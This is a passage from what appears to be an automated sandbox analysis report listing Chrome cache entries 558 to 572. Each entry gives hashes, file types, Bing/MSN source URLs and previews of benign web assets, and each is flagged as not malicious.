SHA-512:	216578580CED656436D0264C430EE2D3D464AB29AE82DF4911E56E364BC1D50577AFDF5AB726748D5F3593664673E92C27C6F0881150CB141E3390560450D3F2
Malicious:	false
Reputation:	unknown
Preview:	(()=>{var e=[,function(e,t,r){"use strict";var n=this&&this.__createBinding\|\|(Object.create?function(e,t,r,n){void 0===n&&(n=r),Object.defineProperty(e,n,{enumerable:!0,get:function(){return t[r]}})}:function(e,t,r,n){void 0===n&&(n=r),e[n]=t[r]}),i=this&&this.__exportStar\|\|function(e,t){for(var r in e)"default"===r\|\|t.hasOwnProperty(r)\|\|n(t,e,r)};Object.defineProperty(t,"__esModule",{value:!0});var o=r(2);r(6).Events.instance.attachConsoleListener(new o.ConsoleLoggingListener),i(r(64),t)},function(e,t,r){"use strict";var n=this&&this.__createBinding\|\|(Object.create?function(e,t,r,n){void 0===n&&(n=r),Object.defineProperty(e,n,{enumerable:!0,get:function(){return t[r]}})}:function(e,t,r,n){void 0===n&&(n=r),e[n]=t[r]}),i=this&&this.__exportStar\|\|function(e,t){for(var r in e)"default"===r\|\|t.hasOwnProperty(r)\|\|n(t,e,r)};Object.defineProperty(t,"__esModule",{value:!0}),i(r(3),t),i(r(54),t),i(r(55),t),i(r(236),t),i(r(237),t),i(r(238),t),i(r(239),t),i(r(248),t),i(r(249),t),i(r(250),t),i(r(

Chrome Cache Entry: 558

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (29136), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	48402
Entropy (8bit):	5.487327475367854
Encrypted:	false
SSDEEP:	768:KkuL2ym/YIZE2u16tNz14nOIqVp1DO7JUDWvjygz+YIdQFSO4FWCPPZPzAT8SjF2:D3zDSjyJ1FWCpPwONifi
MD5:	C1BC22F8FC980065E04704DA0CAC4C3C
SHA1:	9B94EA4979DB533046BD5F450E630A1D42B1A913
SHA-256:	8FEBE01748CB39D75D0BE2B419266D48AEA6B35388D68FA6FCB82C3A9D447283
SHA-512:	D3579C73E92F92FA586415DB1E1E0136BD7500962AB4F30C96F1466065862216125BBCC4EC897CAEFA88A586F1B12D086398B5D155F334E4A9CCBB06FF9F7896
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/images/sbi?mmasync=1&ptn=Homepage&IID=SBI&IG=0334BD64380C44E381F55025227D9087&
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:20px;width:20px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

Chrome Cache Entry: 559

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 50x50, components 3
Category:	downloaded
Size (bytes):	921
Entropy (8bit):	7.145517941301961
Encrypted:	false
SSDEEP:	24:pXSy4bIeyyZg3OZ3UpYo/EaSxkVfOwuXWPRCPO1B:pXz4sVyZrpBtZxkROwuAX
MD5:	840349845B0267FC28B329F5BBFC2BA4
SHA1:	9E8F7CD9172625A7C695E4F955F194AA6A35AD65
SHA-256:	5721EF774EE3BBC132B3C64BB5D3EDC55A6B76173F78288E85190CEC214EF3CF
SHA-512:	53D30E17518F93B7C907A01A84CBEF1C423DD129064DC723FE2318F9F84F8E3E97DAD3E670CDBF8BE21E0DD84C424B16D96D6231AE7DC7E39058C4F0CDDF5331
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=OPHS.3WjN03GeiIKf9g474C474&o=5&pid=21.1&w=50
Preview:	......JFIF.............C.......................................%..%....)).%756.2>-)0.;!....C...........,...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,......2.2..".......................................5.........................!.1A.Qq.."2Bar...#4R.bs.....................................................!.............?..ETR5.Vkk..$d7u...R.)h....y..{.rO...e.}.+.{....J.!...T.8O0..:s.[]~..Z...~....q...<.....6;AQ......`.\|].m2...J...+7...:O\....3.v4GU.;....u.(.b....wC.=.H...iJPE)R...."F\|:.s..i@....n4..H._ZR.\|B..k.p.%..k8...-.7.kS...F..KJ.n.e......y,...m..x...i....d..ql....i...7>5E..B.[.9..c..VUk.n.,...J.1...[..iJPxW....u....l.n".}.0.b....2..q....9'..C8.j...q-=.......X.@~..Ax+..\w....Q......L...\n...)......... }5\.)..._8~.mN(o.e.IR~_.MYlvk.....#JDe)..\.K......9'...2.......#.......Cn(. !........:..u-*..;bQ......V.&\izf..U.!..q%I.y.)jO.0y..G..:"iJP)JP(0....;.JR.@..C.)J..)A..

Chrome Cache Entry: 560

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	4879
Entropy (8bit):	7.909046630105761
Encrypted:	false
SSDEEP:	96:8zgE9tCle2bO6k8Xwm9bwmmVNiTgZ3qwYizBWxYajUXM3gN+u7fa:yg4MMQO6TXP9bwmmecZXNQV1gNHO
MD5:	4E6090E720A5FEBEAC0CC4AD6A126A97
SHA1:	65161513DDF0EB78EA0E7A8E27C42877C6A1C742
SHA-256:	2E21A2AE45558E20407B16EED9A72FC40139C23C2F96206212757BAE521185DC
SHA-512:	F109B90FC99DC8C9A1384A7F258D1F77B4BF8217F140838614689835BB6DAD54BEBC8F70DACFD8D37143CCA5AFB81F2E8CAAFE9A4E7DF8199753EAC5AB34F1CB
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.../.7.F.\|C0.mO",..q..D.........t..-I...)..s....y}...c3..>...Ym.EtI.U.oEC.G..^..`qs.o].M&.R.F.m....i.hy"..F..s.C#...O_I.<Y.Kz.r.m6...4L.......qY.[<....?.....7..nI....=.......kbe]F.(.;%..g\|...^..'.......k....\.'..@?\.(-..lZ..E.k.s...>..x.R..9.}...vb...7j...s...tj.l!<..]..l.?(,9...OLVG..........,7..p3....l.e.lv...J0.....w"..<.\.;z.5h$h......=:.>\v.O\|.

Chrome Cache Entry: 561

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	15304
Entropy (8bit):	7.9616942640776465
Encrypted:	false
SSDEEP:	384:eFn96/KruPDPwA0e0JotodfKPjAVxGvOXzVfW8VykVHGC05Sp9rTxh:eN96/1rPwwLtoNujAxA8p1Hp3JD
MD5:	93F9C1B34D75E005555B47E166C398FB
SHA1:	61F7A43AD6E90F0582C9C1C692F79EDC5B54B4B1
SHA-256:	7486DE6151B3D5CA59ABFB102CFA6B1401A96A86F0FE32D6277C6775F8FBE63D
SHA-512:	F54C70AB31301F159C0B9E1EA76C94FA1799FC6C8946476E667001B89AC75C27E4466A974D29F7B68B2B8EC702C58575E35B4635AED67A81789089DC940DE826
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.485687faf4b15bf0a80f1abd6329da32&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...J..Nv.>..5..)dr.(..sQk.%.i..$.r.O........`B..@.r.I..l......=....j_j..?..>`9..P...`...K.H#.7...$....@pM2^..t[.OM.evi-$?6.Nz..K.i~$...".?vr.}..m\|I\|......b.M..3...;...g.U.M.(..y.^.^.^k...q..\..$.YFr+.<..Zx...i.4..2#........J......N:..+;.7ZYc.....x..x.;..xxZ...du\..r..6.....i[c..5.gv.>^...s..k5{..16....3>Gz.q.N.zm.B8<.Z.%..J...VM...;V......P..[(...P....e>^..,

Chrome Cache Entry: 562

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1042
Entropy (8bit):	4.643250633952913
Encrypted:	false
SSDEEP:	12:6v/7AmpUGGcLEHXSTA1udJqRcUunD8WvMI5ho7EQNU11kE:zme8uXbgJq+70I/o7Ep
MD5:	3F678119F72F6FA7F86885AE77424D87
SHA1:	E3F1B2B4495AE9C1A7B3D1CD3A97403976A76C17
SHA-256:	B1C4978024E63DF37CF1C6D5EE9D135CB9A4C5522E50C1D1C992494159926F7E
SHA-512:	949B7A9525A806F338B0C2BC6FD59B576DAE899133F6BD1F73203E415E8E6E8DBCB129B49B3B4DC5283DD3CB425BC158644329AC895CDA4F9A6B49EB01CBDF42
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx..S...q.~......OPdP.... .e...`P2.+)..&...D!.`1JR...t~vw>...ru.......>..........,...p2..."..b...xn.._.H$....K\|...f.H$..jQ....0.N.v...p8@.R..r!..C.... ..c>...Z-..~.....l.X0..i.z.F&...L&......j.b.X$./.F...N....&...&..+@.^..xD$.A.P@...r..c.$...Z.p:.H'.Px.(..$L ..f.A.B...j..L&.\,.....B.P\|.p..~.6...j...R....L...T..n...._..5........&...8.^...lF..v.p8LN....T*...N'..(.9.."...3.f...1..?.W[.._...4B...J%\|>...?.Yd.....h..7co//.......w..g......?.,.;......L.....IEND.B`................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 563

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	80377
Entropy (8bit):	5.044147290339786
Encrypted:	false
SSDEEP:	1536:KlT4i0HdZuaRNuccj3q4Zz9THmcWcTZqhzbKyNw:YMdZuaRNuzutcWcdB
MD5:	B9A834AEDC811DA9EE6344632C850EC6
SHA1:	CEBAD948A2CCED6DAC3C676C3F8CE1CD59B649DF
SHA-256:	86A7A9E4632332D8419D54ABA9D2179E5484A724269DC6A0B3B5B5E63031E706
SHA-512:	A2217F8A68430FB4ED164AF50E1F41A675A2B4308BAA4E6CB4773AF8E60814C35CF4C6C4D0798C608988B3C0751B7AE83E1759AE3BCCBE5FE21BC87E672A3D24
Malicious:	false
Reputation:	unknown
URL:	"https://www.msn.com/resolver/api/resolve/v3/config/?expType=AppConfig&expInstance=default&apptype=bingHomepage&v=20231204.1&targetScope={%22audienceMode%22:%22adult%22,%22browser%22:{%22browserType%22:%22chrome%22,%22version%22:%22117%22,%22ismobile%22:%22false%22},%22deviceFormFactor%22:%22desktop%22,%22domain%22:%22https://www.bing.com%22,%22locale%22:{%22content%22:{%22language%22:%22en%22,%22market%22:%22us%22},%22display%22:{%22language%22:%22en%22,%22market%22:%22us%22}},%22os%22:%22windows%22,%22platform%22:%22web%22,%22pageType%22:%22widgetfeed%22,%22pageExperiments%22:[]}"
Preview:	{"configs":{"AppConfig/default":{"properties":{"rootExperience":{"configRef":{"experienceType":"Widgets","instanceSrc":"default"}}}},"Widgets/default":{"properties":{"dataConnectors":[{"screenWidth":"Any","children":[{"instanceId":"WeatherData","configRef":{"experienceType":"WeatherData","instanceSrc":"default"}},{"instanceId":"TopicData","configRef":{"experienceType":"TopicData","instanceSrc":"default"}}]}],"widgets":{"BingHomepageFeed":{"instanceId":"BingHomepageFeed","configRef":{"experienceType":"BingHomepageFeed","instanceSrc":"default"}},"EsportsCard":{"instanceId":"EsportsCard","configRef":{"experienceType":"EsportsCard","instanceSrc":"default"}},"SportsCardWC":{"instanceId":"SportsCardWC","configRef":{"experienceType":"SportsCardWC","instanceSrc":"default"}},"TrafficCardWC":{"instanceId":"TrafficCardWC","configRef":{"experienceType":"TrafficCardWC","instanceSrc":"default"}},"WeatherCardWC":{"instanceId":"WeatherCardWC","configRef":{"experienceType":"WeatherCardWC","instanceSrc"

Chrome Cache Entry: 564

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	4402
Entropy (8bit):	7.886154808744179
Encrypted:	false
SSDEEP:	48:8/bxnuERAxkILDk91RZ3ttXoMTF685436Nl1alqYesUf8q8YK0MaI1+qFoSEBfrm:8zgEYg917vTFBalqYeB8zB1GSEhmIU
MD5:	B9F2ED6B7A89EC13B725AD6C6F1824C0
SHA1:	151E9E232DF6551D68D1299C7D8221D3EFD02A4F
SHA-256:	A3F6BD882A0A8F4F62E7F2D87C65AC084D154BAF6146D851A8B73C2F26A8C780
SHA-512:	82D1F20EBB416CB9BD9DDE3670EB959C547A8996B8FA0067BCCCC3BBA341FB5539EB85E84F166553DE58BDD72B6F20AA8987E6AEAE6056A146C603DE0BE579D6
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....c.<.../.l...M.'.Q}..{&_..e.~.....i.E..6.G$.t....;..ZG.,....n..,..J.......?.yw=\D.x........./G.....{.G.s.;.G.....-x.:. #..u#..^#{...e.M..v..G...Um....0vzW.x...P..K........n...x.>.x.U.....0."x.{..5(..r>l...@.Os.f.].^...T..m..t..*.l...5......u.K...<d.q?.o.....@v...3......7g.{V....]../..DY...d..... .kA.x.$..~u,.u.`...z.[....._..l#.......?..D......o>.?Z.

Chrome Cache Entry: 565

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	7.869742556964816
Encrypted:	false
SSDEEP:	48:8/bxnuERAczjHWu1zObitB0zRp5/tEHySKmpdvgWvPXba22J5ieGnCN9WpM:8zgE7vHWut5BWLeSspNjLa22J5i1CvW+
MD5:	AFA5114B4E0AB7C2770F87A24EB36CC0
SHA1:	F0443CD986DFA5AD165E91700639AC1B31F17CD9
SHA-256:	9434F5BD85A582483EF73E8B9FE18831894C311DB4C3A2BC3F3E9FE6CAC5A1BB
SHA-512:	DBD05FEE4CD440301B978E9B517CF8825AEBC34827BB120C0CC83EFD65393B7202C57FBD39091BF21A608FF91AEA3E114E2DEE63201DA5FEE650A0D36BF87103
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.."..=F.P...x.J.$...I.T....:Y........y.....l..?.'...?..?.....z..!6ooy...i..u.lw...r.d..d.z.^..E.i.].F.8'..a.z....Z.{....x.e..........J.9Kc..Ic....JL..V1..v$....W.......3e.....0........@..xoc..iO.r7t..\|{{.....owq-.C.p.A.j.r...........G.Y....u..#..RxP.\c.9.....2x.....b.I%..y.l.wee\.T.......U]z[{.baEP&...=..)'u..:...n{}....}..cl....1....j.q.G..A....'.....L.

Chrome Cache Entry: 566

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	2270072
Entropy (8bit):	5.514925874975835
Encrypted:	false
SSDEEP:	49152:/HvYZPvbTcU1TZGd4lsnIsBN7+pMMDcfGn08yu2wbrBkuR7abqujNVu2wbuUodM4:6EUuYW
MD5:	99F265BA30F6490194CEF31B5354A191
SHA1:	D7B28EA9A37BEC1BD61047F0023CB2D78E1F6D5B
SHA-256:	93919290215A713DE539F3566C39A8D3F8681046A5FC6251A9E3C323726BA4F0
SHA-512:	E21D0608A1BB1D08F44F9D45F745A6CDECE16A760DBD860425BCCA063C5001A4FA91E8CC51E333C2456FA9B554FCD0E1D8B2EEA626345E84FA5620F645C27E4D
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/common.cc82bdf90bc0731a6db7.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["common"],{68402:function(e,t){t.Z='<svg width="12" height="12" viewBox="0 0 11 12"><path d="M6.5 1.75a.75.75 0 0 0-1.5 0V5H1.75a.75.75 0 0 0 0 1.5H5v3.25a.75.75 0 0 0 1.5 0V6.5h3.25a.75.75 0 0 0 0-1.5H6.5V1.75Z"/></svg>'},53271:function(e,t){t.Z='<svg width="20" height="20" viewBox="0 0 20 20"><path d="M6 10a1.25 1.25 0 1 1-2.5 0A1.25 1.25 0 0 1 6 10zM11.25 10a1.25 1.25 0 1 1-2.5 0 1.25 1.25 0 0 1 2.5 0zM15.25 11.25a1.25 1.25 0 1 0 0-2.5 1.25 1.25 0 0 0 0 2.5z"/></svg>'},8686:function(e,t){t.Z='<svg width="12" height="12" viewBox="0 0 12 12"><path d="M9.76 3.2c.3.29.32.76.04 1.06l-4.25 4.5a.75.75 0 0 1-1.08.02L2.22 6.53a.75.75 0 0 1 1.06-1.06l1.7 1.7L8.7 3.24a.75.75 0 0 1 1.06-.04Z"/></svg>'},60577:function(e,t){t.Z='<svg width="20" height="20" viewBox="0 0 20 20"><path d="M12.35 15.85a.5.5 0 0 1-.7 0L6.16 10.4a.55.55 0 0 1 0-.78l5.49-5.46a.5.5 0 0 1 .7.7L7.2 10l5.16 5.15c

Chrome Cache Entry: 567

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	885
Entropy (8bit):	4.540904779535972
Encrypted:	false
SSDEEP:	12:ty6MIrYQ2f6pmdyG5zbaWqFQZtKSlt85upWEtKMca/Kv3kK3kK3TfQARQ:ttMIYQpmgG5z+zFQZcSXWEcoqRQ
MD5:	414172125A836F204112B66E4ADFE745
SHA1:	EED4DF6339EBE66FE56EC09A4D9E6527935F30DC
SHA-256:	5E60F75EFFE3C581E844D490F8E002510C7DC67A45BCBB36C433F08BF5416E04
SHA-512:	2701D263E3F4FFAF919A610332FF76ED23D104632A16CBFABAA119DB27756D2335311973413EAABA618BE18DAA65ED88EA648A64D0D84DAB51FD98A929E7F244
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/7tTfYznr5m_lbsCaTZ5lJ5NfMNw.svg
Preview:	<svg enable-background="new 0 0 64 48" viewBox="0 0 64 48" xmlns="http://www.w3.org/2000/svg"><path d="m4.5.5h55c2.209 0 4 1.791 4 4v39c0 2.209-1.791 4-4 4h-55c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="#111" stroke="#111"/><path d="m14 14h-6c-1.105 0-2-.895-2-2v-4c0-1.105.895-2 2-2h6c1.105 0 2 .895 2 2v4c0 1.105-.895 2-2 2z" fill="#106ebe"/><path d="m34 36h-26c-1.105 0-2-.895-2-2v-14c0-1.105.895-2 2-2h26c1.105 0 2 .895 2 2v14c0 1.105-.895 2-2 2z" fill="#c4c4c4"/><path d="m24 14h29c2.209 0 4-1.791 4-4s-1.791-4-4-4h-29c-2.209 0-4 1.791-4 4s1.791 4 4 4zm31 4h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-47c-1.105 0-2 .895-2 2s.895 2 2 2h47c1.105 0 2-.895 2-2s-.895-2-2-2z" fill="#ddd"/></svg>

Chrome Cache Entry: 568

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	14946
Entropy (8bit):	5.482657233326323
Encrypted:	false
SSDEEP:	192:VIKOdXz7gwv3dF2qqaAj4RP5Bt8VXS2HQ6VwJoYtuPGR7LBThy:xO9Vj6Y5kVXS7XvU+Dk
MD5:	96323B77381DC3793D3E1F4EB21644D2
SHA1:	023E87E237C0E2F31AD79DCCA8B0EFD3FD1239EB
SHA-256:	61D8513C6DCBAC9B7C32C2BD8A85A453E503148FF17608328B184085F9730EB7
SHA-512:	BFDBD6C53966526C7FB15D1EA6CC0EBE39665A3DB8BF7B2E0BBB0ED83491B5B1E48476C689360B3BCEE54C514CB8C56053D974D72EBB931F4139E307DD20AAC2
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/hp/api/v1/carousel?&format=json&ecount=20&efirst=0&&
Preview:	{"title":"","data":[{"typeName":"TrendingNow","items":[{"title":"6 dead, 3 injured in Texas","url":"/search?q=Shootings+across+Texas&efirst=0&ecount=50&filters=tnTID%3a%223C7AB6C8-CAEF-439f-B7E1-A920F1936B4E%22+tnVersion%3a%225397447%22+Segment%3a%22popularnow.carousel%22+tnCol%3a%220%22+tnOrder%3a%220a7a28d2-14aa-474f-bf54-8e2d26d100a9%22&form=HPNN01","imageUrl":"/th?id=OPN.RTNews_pu4Sh615T_Ss0HuDxz5lbg&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow","badge":null,"imageCredit":". Provided by New York Post","tooltip":"Shootings across Texas","linksTarget":"","dataTags":null,"additionalMetaData":{"editorial":{"clickThroughUrl":"","badgeText":"","badgeColor":"","badgeBackground":""},"msn":{"clickThroughUrl":"","articleId":"","source":""}},"shortTitle":"","longTitle":""},{"title":"Air Force confirms fatality","url":"/search?q=Osprey+crash+in+Japan&efirst=0&ecount=50&filters=tnTID%3a%2262A0725A-144A-40a3-B55B-EAC2E4C299F7%22+tnVersion%3a%225397447%22+Segment%3a%22popularnow.carousel%22+tnCol%3a%22

Chrome Cache Entry: 569

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	6390
Entropy (8bit):	7.916045846394136
Encrypted:	false
SSDEEP:	96:8zgENeFGicJL25Ssxv3SEgGTEU4AKiTi2d95qNgmsXhn2:ygVCZ4bvNgVXoTivNgmsXp2
MD5:	8BD85792846F5BAE63FDC99CA49150FF
SHA1:	205880EDF6118311758CBDEC786E34BF6C5F2C04
SHA-256:	6C29760D9B90767B751689DA2ACFBDF12C15C63427CBCB62D7947F78B9C4F85F
SHA-512:	55E6443EA079230DBF72A81F7B043D9D9EFA5B11B4A502A77CD4243D9BF676845951CBC1F88703E9D3A775F12EFB43DA725CAE349EA844F0AB10B320515B20A7
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_XJzc5sCg4mbh16YyF22jRA&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....8b..'.._'...2.O0H.U.....t.>...".&..e...WL....1.....R%...z.K.......e..6....:.:...V_i...d...v..p..NGo.N.wCP....l..\.:s...^.gt.w....yN....G....i.C),"..s.p..z.......hV.Q.3y"(..z......(.+TZ..z.Y......[.?..JO..D.#J.l...g.....n.....QN...\|C. ..H...Y... *.x.^\|...zm.......".$X.....l..}I5..K..k.9......,.....b..Q".....g..-..{..._9...oi.q...Y.D.p...[.J.6...

Chrome Cache Entry: 570

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	885
Entropy (8bit):	4.540904779535972
Encrypted:	false
SSDEEP:	12:ty6MIrYQ2f6pmdyG5zbaWqFQZtKSlt85upWEtKMca/Kv3kK3kK3TfQARQ:ttMIYQpmgG5z+zFQZcSXWEcoqRQ
MD5:	414172125A836F204112B66E4ADFE745
SHA1:	EED4DF6339EBE66FE56EC09A4D9E6527935F30DC
SHA-256:	5E60F75EFFE3C581E844D490F8E002510C7DC67A45BCBB36C433F08BF5416E04
SHA-512:	2701D263E3F4FFAF919A610332FF76ED23D104632A16CBFABAA119DB27756D2335311973413EAABA618BE18DAA65ED88EA648A64D0D84DAB51FD98A929E7F244
Malicious:	false
Reputation:	unknown
Preview:	<svg enable-background="new 0 0 64 48" viewBox="0 0 64 48" xmlns="http://www.w3.org/2000/svg"><path d="m4.5.5h55c2.209 0 4 1.791 4 4v39c0 2.209-1.791 4-4 4h-55c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="#111" stroke="#111"/><path d="m14 14h-6c-1.105 0-2-.895-2-2v-4c0-1.105.895-2 2-2h6c1.105 0 2 .895 2 2v4c0 1.105-.895 2-2 2z" fill="#106ebe"/><path d="m34 36h-26c-1.105 0-2-.895-2-2v-14c0-1.105.895-2 2-2h26c1.105 0 2 .895 2 2v14c0 1.105-.895 2-2 2z" fill="#c4c4c4"/><path d="m24 14h29c2.209 0 4-1.791 4-4s-1.791-4-4-4h-29c-2.209 0-4 1.791-4 4s1.791 4 4 4zm31 4h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-47c-1.105 0-2 .895-2 2s.895 2 2 2h47c1.105 0 2-.895 2-2s-.895-2-2-2z" fill="#ddd"/></svg>

Chrome Cache Entry: 571

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24016)
Category:	downloaded
Size (bytes):	176641
Entropy (8bit):	5.417759687232788
Encrypted:	false
SSDEEP:	3072:PQH7d0WjpvRZR3OnbJooDaHNZya0gkR7Ibp:LWjpPKJoOaHua0gkZG
MD5:	B2BDD0B747AA9B607FA0245B831A39E2
SHA1:	74C213119E6BB6D700DDD9BCCCC91027AAB2D305
SHA-256:	33CB50D25ADFF662239A59FC51D01D78C89E2F369FB80E7E3334D0E4349C1278
SHA-512:	033FD94D608FB997CFE158AF0B7DE54989FBE463304C85EEDE21896499BEBF29F32A2EAD885EC6056F7749CC2421EF6C9F0C03C3532469CD9A0481931F2D600E
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/web-components_super-cards_dist_cards_super-sd-card_core-sd-card_register_js.44636ab434433b578ba1.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["web-components_super-cards_dist_cards_super-sd-card_core-sd-card_register_js"],{64664:function(t,e,i){"use strict";i.d(e,{F:function(){return n}});class n{constructor(){this.supports3DContent=!1}attemptNavItemChange(t){return!!this.superNavChangeCallback&&(this.superNavChangeCallback(t),!0)}disconnectSuperNav(){this.superNavChangeCallback=void 0}getForceSelectedNavItemId(){return this.forceSelectedNavItemId}getSupports3DContent(){return this.supports3DContent}static getInstance(t){return n.instance\|\|(n.instance=new n),t&&(n.instance.superNavChangeCallback=t),n.instance}registerForceSelectedNavItemId(t){this.forceSelectedNavItemId=t}registerSupports3DContent(t){this.supports3DContent=t}}},40866:function(t,e,i){"use strict";let n;i.d(e,{k:function(){return o}});const o=t=>{n&&t&&n.observe(t)}},11232:function(t,e,i){"use strict";i.d(e,{$0:function(){return O}});var n=i(45896),o=i(43178),a

Chrome Cache Entry: 572

Download File

